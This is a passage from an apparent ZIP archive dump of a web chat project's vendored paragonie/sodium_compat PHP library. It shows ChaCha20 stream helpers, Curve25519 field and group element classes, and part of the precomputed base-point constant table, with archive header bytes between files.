     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '',
$key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_IetfCtx($key, $nonce, $ic),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '',
$key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx($key, $nonce, $ic),
            $message
        );
    }
}
PK	�[L�-ʡ�Qchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Curve25519/Fe.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Fe', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Fe
 *
 * This represents a Field Element
 */
class ParagonIE_Sodium_Core_Curve25519_Fe implements ArrayAccess
{
    /**
     * @var array<int, int>
     */
    protected $container = array();

    /**
     * @var int
     */
    protected $size = 10;

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $array
     * @param bool $save_indexes
     * @return self
     */
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);
        /** @var array<int, int> $keys */

        $obj = new ParagonIE_Sodium_Core_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int|null $offset
     * @param int $value
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetSet($offset, $value)
    {
        if (!is_int($value)) {
            throw new InvalidArgumentException('Expected an
integer');
        }
        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            $this->container[$offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return int
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetGet($offset)
    {
        if (!isset($this->container[$offset])) {
            $this->container[$offset] = 0;
        }
        return (int) ($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        return array(implode(', ', $this->container));
    }
}
PK	�[\�|��Xchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/Cached.phpnu�[���<?php


if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_Cached',
false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_Cached
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_Cached
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $YplusX;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $YminusX;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T2d;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_Cached constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $YplusX
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $YminusX
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $Z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $T2d
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $YplusX = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $YminusX = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $Z = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $T2d = null
    ) {
        if ($YplusX === null) {
            $YplusX = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->YplusX = $YplusX;
        if ($YminusX === null) {
            $YminusX = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->YminusX = $YminusX;
        if ($Z === null) {
            $Z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Z = $Z;
        if ($T2d === null) {
            $T2d = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->T2d = $T2d;
    }
}
PK	�[��r��Vchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P1p1.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P1p1',
false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P1p1
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $t
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->T = $t;
    }
}
PK	�[�-�AATchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P2.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P2',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P2
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P2
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P2 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $z = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Z = $z;
    }
}
PK	�[8��"zzTchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/P3.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_P3',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_P3
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_P3
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_P3 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core_Curve25519_Fe|null $t
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->T = $t;
    }
}
PK	�[<��Ychat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Curve25519/Ge/Precomp.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_Ge_Precomp',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
 */
class ParagonIE_Sodium_Core_Curve25519_Ge_Precomp
{
    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $yplusx;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $yminusx;

    /**
     * @var ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public $xy2d;

    /**
     * ParagonIE_Sodium_Core_Curve25519_Ge_Precomp constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $yplusx
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $yminusx
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $xy2d
     */
    public function __construct(
        ParagonIE_Sodium_Core_Curve25519_Fe $yplusx = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $yminusx = null,
        ParagonIE_Sodium_Core_Curve25519_Fe $xy2d = null
    ) {
        if ($yplusx === null) {
            $yplusx = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->yplusx = $yplusx;
        if ($yminusx === null) {
            $yminusx = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->yminusx = $yminusx;
        if ($xy2d === null) {
            $xy2d = new ParagonIE_Sodium_Core_Curve25519_Fe();
        }
        $this->xy2d = $xy2d;
    }
}
PK	�[�#ҺӨӨPchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core/Curve25519/H.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core_Curve25519_H', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Curve25519_H
 *
 * This just contains the constants in the ref10/base.h file
 */
class ParagonIE_Sodium_Core_Curve25519_H extends ParagonIE_Sodium_Core_Util
{
    /**
     * See: libsodium's crypto_core/curve25519/ref10/base.h
     *
     * @var array<int, array<int, array<int, array<int,
int>>>> Basically, int[32][8][3][10]
     */
    protected static $base = array(
        array(
            array(
                array(25967493, -14356035, 29566456, 3660896, -12694345,
4014787, 27544626, -11754271, -6079156, 2047605),
                array(-12545711, 934262, -2722910, 3049990, -727428,
9406986, 12720692, 5043384, 19500929, -15469378),
                array(-8738181, 4489570, 9688441, -14785194, 10184609,
-12363380, 29287919, 11864899, -24514362, -4438546),
            ),
            array(
                array(-12815894, -12976347, -21581243, 11784320, -25355658,
-2750717, -11717903, -3814571, -358445, -10211303),
                array(-21703237, 6903825, 27185491, 6451973, -29577724,
-9554005, -15616551, 11189268, -26829678, -5319081),
                array(26966642, 11152617, 32442495, 15396054, 14353839,
-12752335, -3128826, -9541118, -15472047, -4166697),
            ),
            array(
                array(15636291, -9688557, 24204773, -7912398, 616977,
-16685262, 27787600, -14772189, 28944400, -1550024),
                array(16568933, 4717097, -11556148, -1102322, 15682896,
-11807043, 16354577, -11775962, 7689662, 11199574),
                array(30464156, -5976125, -11779434, -15670865, 23220365,
15915852, 7512774, 10017326, -17749093, -9920357),
            ),
            array(
                array(-17036878, 13921892, 10945806, -6033431, 27105052,
-16084379, -28926210, 15006023, 3284568, -6276540),
                array(23599295, -8306047, -11193664, -7687416, 13236774,
10506355, 7464579, 9656445, 13059162, 10374397),
                array(7798556, 16710257, 3033922, 2874086, 28997861,
2835604, 32406664, -3839045, -641708, -101325),
            ),
            array(
                array(10861363, 11473154, 27284546, 1981175, -30064349,
12577861, 32867885, 14515107, -15438304, 10819380),
                array(4708026, 6336745, 20377586, 9066809, -11272109,
6594696, -25653668, 12483688, -12668491, 5581306),
                array(19563160, 16186464, -29386857, 4097519, 10237984,
-4348115, 28542350, 13850243, -23678021, -15815942),
            ),
            array(
                array(-15371964, -12862754, 32573250, 4720197, -26436522,
5875511, -19188627, -15224819, -9818940, -12085777),
                array(-8549212, 109983, 15149363, 2178705, 22900618,
4543417, 3044240, -15689887, 1762328, 14866737),
                array(-18199695, -15951423, -10473290, 1707278, -17185920,
3916101, -28236412, 3959421, 27914454, 4383652),
            ),
            array(
                array(5153746, 9909285, 1723747, -2777874, 30523605,
5516873, 19480852, 5230134, -23952439, -15175766),
                array(-30269007, -3463509, 7665486, 10083793, 28475525,
1649722, 20654025, 16520125, 30598449, 7715701),
                array(28881845, 14381568, 9657904, 3680757, -20181635,
7843316, -31400660, 1370708, 29794553, -1409300),
            ),
            array(
                array(14499471, -2729599, -33191113, -4254652, 28494862,
14271267, 30290735, 10876454, -33154098, 2381726),
                array(-7195431, -2655363, -14730155, 462251, -27724326,
3941372, -6236617, 3696005, -32300832, 15351955),
                array(27431194, 8222322, 16448760, -3907995, -18707002,
11938355, -32961401, -2970515, 29551813, 10109425),
            ),
        ),
        array(
            array(
                array(-13657040, -13155431, -31283750, 11777098, 21447386,
6519384, -2378284, -1627556, 10092783, -4764171),
                array(27939166, 14210322, 4677035, 16277044, -22964462,
-12398139, -32508754, 12005538, -17810127, 12803510),
                array(17228999, -15661624, -1233527, 300140, -1224870,
-11714777, 30364213, -9038194, 18016357, 4397660),
            ),
            array(
                array(-10958843, -7690207, 4776341, -14954238, 27850028,
-15602212, -26619106, 14544525, -17477504, 982639),
                array(29253598, 15796703, -2863982, -9908884, 10057023,
3163536, 7332899, -4120128, -21047696, 9934963),
                array(5793303, 16271923, -24131614, -10116404, 29188560,
1206517, -14747930, 4559895, -30123922, -10897950),
            ),
            array(
                array(-27643952, -11493006, 16282657, -11036493, 28414021,
-15012264, 24191034, 4541697, -13338309, 5500568),
                array(12650548, -1497113, 9052871, 11355358, -17680037,
-8400164, -17430592, 12264343, 10874051, 13524335),
                array(25556948, -3045990, 714651, 2510400, 23394682,
-10415330, 33119038, 5080568, -22528059, 5376628),
            ),
            array(
                array(-26088264, -4011052, -17013699, -3537628, -6726793,
1920897, -22321305, -9447443, 4535768, 1569007),
                array(-2255422, 14606630, -21692440, -8039818, 28430649,
8775819, -30494562, 3044290, 31848280, 12543772),
                array(-22028579, 2943893, -31857513, 6777306, 13784462,
-4292203, -27377195, -2062731, 7718482, 14474653),
            ),
            array(
                array(2385315, 2454213, -22631320, 46603, -4437935,
-15680415, 656965, -7236665, 24316168, -5253567),
                array(13741529, 10911568, -33233417, -8603737, -20177830,
-1033297, 33040651, -13424532, -20729456, 8321686),
                array(21060490, -2212744, 15712757, -4336099, 1639040,
10656336, 23845965, -11874838, -9984458, 608372),
            ),
            array(
                array(-13672732, -15087586, -10889693, -7557059, -6036909,
11305547, 1123968, -6780577, 27229399, 23887),
                array(-23244140, -294205, -11744728, 14712571, -29465699,
-2029617, 12797024, -6440308, -1633405, 16678954),
                array(-29500620, 4770662, -16054387, 14001338, 7830047,
9564805, -1508144, -4795045, -17169265, 4904953),
            ),
            array(
                array(24059557, 14617003, 19037157, -15039908, 19766093,
-14906429, 5169211, 16191880, 2128236, -4326833),
                array(-16981152, 4124966, -8540610, -10653797, 30336522,
-14105247, -29806336, 916033, -6882542, -2986532),
                array(-22630907, 12419372, -7134229, -7473371, -16478904,
16739175, 285431, 2763829, 15736322, 4143876),
            ),
            array(
                array(2379352, 11839345, -4110402, -5988665, 11274298,
794957, 212801, -14594663, 23527084, -16458268),
                array(33431127, -11130478, -17838966, -15626900, 8909499,
8376530, -32625340, 4087881, -15188911, -14416214),
                array(1767683, 7197987, -13205226, -2022635, -13091350,
448826, 5799055, 4357868, -4774191, -16323038),
            ),
        ),
        array(
            array(
                array(6721966, 13833823, -23523388, -1551314, 26354293,
-11863321, 23365147, -3949732, 7390890, 2759800),
                array(4409041, 2052381, 23373853, 10530217, 7676779,
-12885954, 21302353, -4264057, 1244380, -12919645),
                array(-4421239, 7169619, 4982368, -2957590, 30256825,
-2777540, 14086413, 9208236, 15886429, 16489664),
            ),
            array(
                array(1996075, 10375649, 14346367, 13311202, -6874135,
-16438411, -13693198, 398369, -30606455, -712933),
                array(-25307465, 9795880, -2777414, 14878809, -33531835,
14780363, 13348553, 12076947, -30836462, 5113182),
                array(-17770784, 11797796, 31950843, 13929123, -25888302,
12288344, -30341101, -7336386, 13847711, 5387222),
            ),
            array(
                array(-18582163, -3416217, 17824843, -2340966, 22744343,
-10442611, 8763061, 3617786, -19600662, 10370991),
                array(20246567, -14369378, 22358229, -543712, 18507283,
-10413996, 14554437, -8746092, 32232924, 16763880),
                array(9648505, 10094563, 26416693, 14745928, -30374318,
-6472621, 11094161, 15689506, 3140038, -16510092),
            ),
            array(
                array(-16160072, 5472695, 31895588, 4744994, 8823515,
10365685, -27224800, 9448613, -28774454, 366295),
                array(19153450, 11523972, -11096490, -6503142, -24647631,
5420647, 28344573, 8041113, 719605, 11671788),
                array(8678025, 2694440, -6808014, 2517372, 4964326,
11152271, -15432916, -15266516, 27000813, -10195553),
            ),
            array(
                array(-15157904, 7134312, 8639287, -2814877, -7235688,
10421742, 564065, 5336097, 6750977, -14521026),
                array(11836410, -3979488, 26297894, 16080799, 23455045,
15735944, 1695823, -8819122, 8169720, 16220347),
                array(-18115838, 8653647, 17578566, -6092619, -8025777,
-16012763, -11144307, -2627664, -5990708, -14166033),
            ),
            array(
                array(-23308498, -10968312, 15213228, -10081214, -30853605,
-11050004, 27884329, 2847284, 2655861, 1738395),
                array(-27537433, -14253021, -25336301, -8002780, -9370762,
8129821, 21651608, -3239336, -19087449, -11005278),
                array(1533110, 3437855, 23735889, 459276, 29970501,
11335377, 26030092, 5821408, 10478196, 8544890),
            ),
            array(
                array(32173121, -16129311, 24896207, 3921497, 22579056,
-3410854, 19270449, 12217473, 17789017, -3395995),
                array(-30552961, -2228401, -15578829, -10147201, 13243889,
517024, 15479401, -3853233, 30460520, 1052596),
                array(-11614875, 13323618, 32618793, 8175907, -15230173,
12596687, 27491595, -4612359, 3179268, -9478891),
            ),
            array(
                array(31947069, -14366651, -4640583, -15339921, -15125977,
-6039709, -14756777, -16411740, 19072640, -9511060),
                array(11685058, 11822410, 3158003, -13952594, 33402194,
-4165066, 5977896, -5215017, 473099, 5040608),
                array(-20290863, 8198642, -27410132, 11602123, 1290375,
-2799760, 28326862, 1721092, -19558642, -3131606),
            ),
        ),
        array(
            array(
                array(7881532, 10687937, 7578723, 7738378, -18951012,
-2553952, 21820786, 8076149, -27868496, 11538389),
                array(-19935666, 3899861, 18283497, -6801568, -15728660,
-11249211, 8754525, 7446702, -5676054, 5797016),
                array(-11295600, -3793569, -15782110, -7964573, 12708869,
-8456199, 2014099, -9050574, -2369172, -5877341),
            ),
            array(
                array(-22472376, -11568741, -27682020, 1146375, 18956691,
16640559, 1192730, -3714199, 15123619, 10811505),
                array(14352098, -3419715, -18942044, 10822655, 32750596,
4699007, -70363, 15776356, -28886779, -11974553),
                array(-28241164, -8072475, -4978962, -5315317, 29416931,
1847569, -20654173, -16484855, 4714547, -9600655),
            ),
            array(
                array(15200332, 8368572, 19679101, 15970074, -31872674,
1959451, 24611599, -4543832, -11745876, 12340220),
                array(12876937, -10480056, 33134381, 6590940, -6307776,
14872440, 9613953, 8241152, 15370987, 9608631),
                array(-4143277, -12014408, 8446281, -391603, 4407738,
13629032, -7724868, 15866074, -28210621, -8814099),
            ),
            array(
                array(26660628, -15677655, 8393734, 358047, -7401291,
992988, -23904233, 858697, 20571223, 8420556),
                array(14620715, 13067227, -15447274, 8264467, 14106269,
15080814, 33531827, 12516406, -21574435, -12476749),
                array(236881, 10476226, 57258, -14677024, 6472998, 2466984,
17258519, 7256740, 8791136, 15069930),
            ),
            array(
                array(1276410, -9371918, 22949635, -16322807, -23493039,
-5702186, 14711875, 4874229, -30663140, -2331391),
                array(5855666, 4990204, -13711848, 7294284, -7804282,
1924647, -1423175, -7912378, -33069337, 9234253),
                array(20590503, -9018988, 31529744, -7352666, -2706834,
10650548, 31559055, -11609587, 18979186, 13396066),
            ),
            array(
                array(24474287, 4968103, 22267082, 4407354, 24063882,
-8325180, -18816887, 13594782, 33514650, 7021958),
                array(-11566906, -6565505, -21365085, 15928892, -26158305,
4315421, -25948728, -3916677, -21480480, 12868082),
                array(-28635013, 13504661, 19988037, -2132761, 21078225,
6443208, -21446107, 2244500, -12455797, -8089383),
            ),
            array(
                array(-30595528, 13793479, -5852820, 319136, -25723172,
-6263899, 33086546, 8957937, -15233648, 5540521),
                array(-11630176, -11503902, -8119500, -7643073, 2620056,
1022908, -23710744, -1568984, -16128528, -14962807),
                array(23152971, 775386, 27395463, 14006635, -9701118,
4649512, 1689819, 892185, -11513277, -15205948),
            ),
            array(
                array(9770129, 9586738, 26496094, 4324120, 1556511,
-3550024, 27453819, 4763127, -19179614, 5867134),
                array(-32765025, 1927590, 31726409, -4753295, 23962434,
-16019500, 27846559, 5931263, -29749703, -16108455),
                array(27461885, -2977536, 22380810, 1815854, -23033753,
-3031938, 7283490, -15148073, -19526700, 7734629),
            ),
        ),
        array(
            array(
                array(-8010264, -9590817, -11120403, 6196038, 29344158,
-13430885, 7585295, -3176626, 18549497, 15302069),
                array(-32658337, -6171222, -7672793, -11051681, 6258878,
13504381, 10458790, -6418461, -8872242, 8424746),
                array(24687205, 8613276, -30667046, -3233545, 1863892,
-1830544, 19206234, 7134917, -11284482, -828919),
            ),
            array(
                array(11334899, -9218022, 8025293, 12707519, 17523892,
-10476071, 10243738, -14685461, -5066034, 16498837),
                array(8911542, 6887158, -9584260, -6958590, 11145641,
-9543680, 17303925, -14124238, 6536641, 10543906),
                array(-28946384, 15479763, -17466835, 568876, -1497683,
11223454, -2669190, -16625574, -27235709, 8876771),
            ),
            array(
                array(-25742899, -12566864, -15649966, -846607, -33026686,
-796288, -33481822, 15824474, -604426, -9039817),
                array(10330056, 70051, 7957388, -9002667, 9764902,
15609756, 27698697, -4890037, 1657394, 3084098),
                array(10477963, -7470260, 12119566, -13250805, 29016247,
-5365589, 31280319, 14396151, -30233575, 15272409),
            ),
            array(
                array(-12288309, 3169463, 28813183, 16658753, 25116432,
-5630466, -25173957, -12636138, -25014757, 1950504),
                array(-26180358, 9489187, 11053416, -14746161, -31053720,
5825630, -8384306, -8767532, 15341279, 8373727),
                array(28685821, 7759505, -14378516, -12002860, -31971820,
4079242, 298136, -10232602, -2878207, 15190420),
            ),
            array(
                array(-32932876, 13806336, -14337485, -15794431, -24004620,
10940928, 8669718, 2742393, -26033313, -6875003),
                array(-1580388, -11729417, -25979658, -11445023, -17411874,
-10912854, 9291594, -16247779, -12154742, 6048605),
                array(-30305315, 14843444, 1539301, 11864366, 20201677,
1900163, 13934231, 5128323, 11213262, 9168384),
            ),
            array(
                array(-26280513, 11007847, 19408960, -940758, -18592965,
-4328580, -5088060, -11105150, 20470157, -16398701),
                array(-23136053, 9282192, 14855179, -15390078, -7362815,
-14408560, -22783952, 14461608, 14042978, 5230683),
                array(29969567, -2741594, -16711867, -8552442, 9175486,
-2468974, 21556951, 3506042, -5933891, -12449708),
            ),
            array(
                array(-3144746, 8744661, 19704003, 4581278, -20430686,
6830683, -21284170, 8971513, -28539189, 15326563),
                array(-19464629, 10110288, -17262528, -3503892, -23500387,
1355669, -15523050, 15300988, -20514118, 9168260),
                array(-5353335, 4488613, -23803248, 16314347, 7780487,
-15638939, -28948358, 9601605, 33087103, -9011387),
            ),
            array(
                array(-19443170, -15512900, -20797467, -12445323,
-29824447, 10229461, -27444329, -15000531, -5996870, 15664672),
                array(23294591, -16632613, -22650781, -8470978, 27844204,
11461195, 13099750, -2460356, 18151676, 13417686),
                array(-24722913, -4176517, -31150679, 5988919, -26858785,
6685065, 1661597, -12551441, 15271676, -15452665),
            ),
        ),
        array(
            array(
                array(11433042, -13228665, 8239631, -5279517, -1985436,
-725718, -18698764, 2167544, -6921301, -13440182),
                array(-31436171, 15575146, 30436815, 12192228, -22463353,
9395379, -9917708, -8638997, 12215110, 12028277),
                array(14098400, 6555944, 23007258, 5757252, -15427832,
-12950502, 30123440, 4617780, -16900089, -655628),
            ),
            array(
                array(-4026201, -15240835, 11893168, 13718664, -14809462,
1847385, -15819999, 10154009, 23973261, -12684474),
                array(-26531820, -3695990, -1908898, 2534301, -31870557,
-16550355, 18341390, -11419951, 32013174, -10103539),
                array(-25479301, 10876443, -11771086, -14625140, -12369567,
1838104, 21911214, 6354752, 4425632, -837822),
            ),
            array(
                array(-10433389, -14612966, 22229858, -3091047, -13191166,
776729, -17415375, -12020462, 4725005, 14044970),
                array(19268650, -7304421, 1555349, 8692754, -21474059,
-9910664, 6347390, -1411784, -19522291, -16109756),
                array(-24864089, 12986008, -10898878, -5558584, -11312371,
-148526, 19541418, 8180106, 9282262, 10282508),
            ),
            array(
                array(-26205082, 4428547, -8661196, -13194263, 4098402,
-14165257, 15522535, 8372215, 5542595, -10702683),
                array(-10562541, 14895633, 26814552, -16673850, -17480754,
-2489360, -2781891, 6993761, -18093885, 10114655),
                array(-20107055, -929418, 31422704, 10427861, -7110749,
6150669, -29091755, -11529146, 25953725, -106158),
            ),
            array(
                array(-4234397, -8039292, -9119125, 3046000, 2101609,
-12607294, 19390020, 6094296, -3315279, 12831125),
                array(-15998678, 7578152, 5310217, 14408357, -33548620,
-224739, 31575954, 6326196, 7381791, -2421839),
                array(-20902779, 3296811, 24736065, -16328389, 18374254,
7318640, 6295303, 8082724, -15362489, 12339664),
            ),
            array(
                array(27724736, 2291157, 6088201, -14184798, 1792727,
5857634, 13848414, 15768922, 25091167, 14856294),
                array(-18866652, 8331043, 24373479, 8541013, -701998,
-9269457, 12927300, -12695493, -22182473, -9012899),
                array(-11423429, -5421590, 11632845, 3405020, 30536730,
-11674039, -27260765, 13866390, 30146206, 9142070),
            ),
            array(
                array(3924129, -15307516, -13817122, -10054960, 12291820,
-668366, -27702774, 9326384, -8237858, 4171294),
                array(-15921940, 16037937, 6713787, 16606682, -21612135,
2790944, 26396185, 3731949, 345228, -5462949),
                array(-21327538, 13448259, 25284571, 1143661, 20614966,
-8849387, 2031539, -12391231, -16253183, -13582083),
            ),
            array(
                array(31016211, -16722429, 26371392, -14451233, -5027349,
14854137, 17477601, 3842657, 28012650, -16405420),
                array(-5075835, 9368966, -8562079, -4600902, -15249953,
6970560, -9189873, 16292057, -8867157, 3507940),
                array(29439664, 3537914, 23333589, 6997794, -17555561,
-11018068, -15209202, -15051267, -9164929, 6580396),
            ),
        ),
        array(
            array(
                array(-12185861, -7679788, 16438269, 10826160, -8696817,
-6235611, 17860444, -9273846, -2095802, 9304567),
                array(20714564, -4336911, 29088195, 7406487, 11426967,
-5095705, 14792667, -14608617, 5289421, -477127),
                array(-16665533, -10650790, -6160345, -13305760, 9192020,
-1802462, 17271490, 12349094, 26939669, -3752294),
            ),
            array(
                array(-12889898, 9373458, 31595848, 16374215, 21471720,
13221525, -27283495, -12348559, -3698806, 117887),
                array(22263325, -6560050, 3984570, -11174646, -15114008,
-566785, 28311253, 5358056, -23319780, 541964),
                array(16259219, 3261970, 2309254, -15534474, -16885711,
-4581916, 24134070, -16705829, -13337066, -13552195),
            ),
            array(
                array(9378160, -13140186, -22845982, -12745264, 28198281,
-7244098, -2399684, -717351, 690426, 14876244),
                array(24977353, -314384, -8223969, -13465086, 28432343,
-1176353, -13068804, -12297348, -22380984, 6618999),
                array(-1538174, 11685646, 12944378, 13682314, -24389511,
-14413193, 8044829, -13817328, 32239829, -5652762),
            ),
            array(
                array(-18603066, 4762990, -926250, 8885304, -28412480,
-3187315, 9781647, -10350059, 32779359, 5095274),
                array(-33008130, -5214506, -32264887, -3685216, 9460461,
-9327423, -24601656, 14506724, 21639561, -2630236),
                array(-16400943, -13112215, 25239338, 15531969, 3987758,
-4499318, -1289502, -6863535, 17874574, 558605),
            ),
            array(
                array(-13600129, 10240081, 9171883, 16131053, -20869254,
